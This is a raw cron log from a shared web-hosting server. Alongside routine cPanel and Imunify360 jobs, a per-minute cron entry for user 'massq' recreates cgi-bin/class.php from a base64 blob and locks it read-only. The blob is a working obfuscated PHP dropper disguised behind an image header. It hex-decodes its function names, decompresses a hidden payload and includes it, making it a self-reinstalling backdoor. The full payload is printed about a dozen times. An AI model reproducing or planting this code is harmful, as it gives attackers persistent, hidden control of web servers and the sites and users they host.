Sep  2 17:32:01 server CROND[15169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:32:01 server CROND[15170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:32:01 server CROND[15171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:33:01 server CROND[15615]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:33:01 server CROND[15616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:33:01 server CROND[15617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:34:01 server CROND[15986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:34:01 server CROND[15987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:34:01 server CROND[15988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:35:01 server CROND[16415]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:35:01 server CROND[16416]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 17:35:01 server CROND[16421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:35:01 server CROND[16435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:35:01 server CROND[16439]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 17:35:01 server CROND[16440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:35:01 server CROND[16436]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 17:35:01 server CROND[16438]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 17:35:01 server CROND[16433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:36:01 server CROND[17354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:36:01 server CROND[17355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:36:01 server CROND[17356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:37:01 server CROND[17730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:37:01 server CROND[17731]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:37:01 server CROND[17729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:38:01 server CROND[18103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:38:01 server CROND[18104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:38:01 server CROND[18105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:39:01 server CROND[18472]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 17:39:01 server CROND[18471]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:39:01 server CROND[18473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:39:01 server CROND[18474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:40:01 server CROND[18876]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 17:40:01 server CROND[18879]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 17:40:01 server CROND[18880]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 17:40:01 server CROND[18881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:40:01 server CROND[18883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:40:01 server CROND[18884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:40:01 server CROND[18887]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 17:40:01 server CROND[18882]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 17:41:01 server CROND[19801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:41:01 server CROND[19802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:41:01 server CROND[19803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:42:01 server CROND[20171]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 17:42:01 server CROND[20172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:42:01 server CROND[20173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 17:42:01 server CROND[20174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:43:01 server CROND[20546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 17:43:01 server CROND[20547]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 17:43:01 server CROND[20548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
